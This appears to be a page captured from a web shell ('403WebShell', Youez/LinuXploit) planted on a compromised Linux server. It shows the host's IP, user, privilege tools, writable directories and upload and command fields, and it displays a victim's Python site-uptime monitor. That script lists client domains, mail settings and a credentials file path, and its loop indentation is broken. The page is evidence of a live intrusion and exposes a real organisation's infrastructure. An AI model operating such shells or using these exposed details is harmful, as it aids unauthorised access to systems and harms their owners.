Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/script/ServerMonitor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/script/ServerMonitor/domain-monitor-DOWN-by-mail.py
import requests
import smtplib
import json
import os
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from urllib.parse import urlparse

websites_to_check = [
    "https://nirikshan.tatacapital.com/",
    "https://nirikshan-cron.tatacapital.com",
    "https://arukustech.com/",
    "https://hr.arukustech.com/",
    "https://mbmoms.com/",
    "https://murphybusiness.com/",
    "https://dev.arukustech.com/",
    "https://frontier.tatacapital.com/",
    "https://nirikshan-stg.tatacapital.com/",
    "https://engageu.tatacapital.com/",
    "https://frontier-cron.tatacapital.com/",
    "https://engage.tatacapital.com/",
    "https://engage-cron.tatacapital.com/",
    "https://nirikshan-stg.tatacapital.com/",
    "https://auditprod.midlandmicrofin.co.in/",
    "https://audituat.midlandmicrofin.co.in//"
]

sender_email="Website Down Alert <uptime@arukustech.com>"
receiver_email="hosting@arukustech.com"
SMTP_SERVER="email-smtp.ap-south-1.amazonaws.com"
SMTP_PORT=587
CRED_FILE="/etc/secure/ses_credentials.json"
LOGO_PATH="/etc/script/ServerMonitor/ArukusTech.png"
STATE_FILE="/etc/script/ServerMonitor/website_state.json"

with open(CRED_FILE) as f:
    creds=json.load(f)
SMTP_USER=creds["username"]; SMTP_PASS=creds["password"]

if os.path.exists(STATE_FILE):
    state=json.load(open(STATE_FILE))
else:
    state={}

def clean_url(url): return urlparse(url).netloc

def send_email(url):
    name=clean_url(url)
    msg=MIMEMultipart()
    msg['From']=sender_email; msg['To']=receiver_email
    msg['Subject']=f"Website Down: {name}"
    if os.path.exists(LOGO_PATH):
        img=MIMEImage(open(LOGO_PATH,'rb').read()); img.add_header('Content-ID','<company_logo>'); msg.attach(img)
    html=f'<html><body><img src="cid:company_logo"><h2 style="color:red">Website Down Alert</h2><p><b>{name}</b> is DOWN</p><a href="{url}">{url}</a></body></html>'
    msg.attach(MIMEText(html,'html'))
    s=smtplib.SMTP(SMTP_SERVER,SMTP_PORT); s.starttls(); s.login(SMTP_USER,SMTP_PASS)
    s.sendmail(sender_email,receiver_email,msg.as_string()); s.quit()

while True:

    for url in websites_to_check:
    name=clean_url(url)
    state.setdefault(name,{"status":"UP","alert_count":0,"last_alert":0})
    try:
        r=requests.get(url,timeout=5)
        current="UP" if 200<=r.status_code<400 else "DOWN"
    except:
        current="DOWN"
    now=time.time()
    if current=="DOWN":
        send=False
        if state[name]["alert_count"]<3:
            send=True
        elif now-state[name]["last_alert"]>=3600:
            send=True
        if send:
            send_email(url)
            state[name]["alert_count"]+=1
            state[name]["last_alert"]=now
        state[name]["status"]="DOWN"
    else:
        state[name]={"status":"UP","alert_count":0,"last_alert":0}

    json.dump(state,open(STATE_FILE,"w"),indent=4)
    time.sleep(300)

Youez - 2016 - github.com/yon3zu
LinuXploit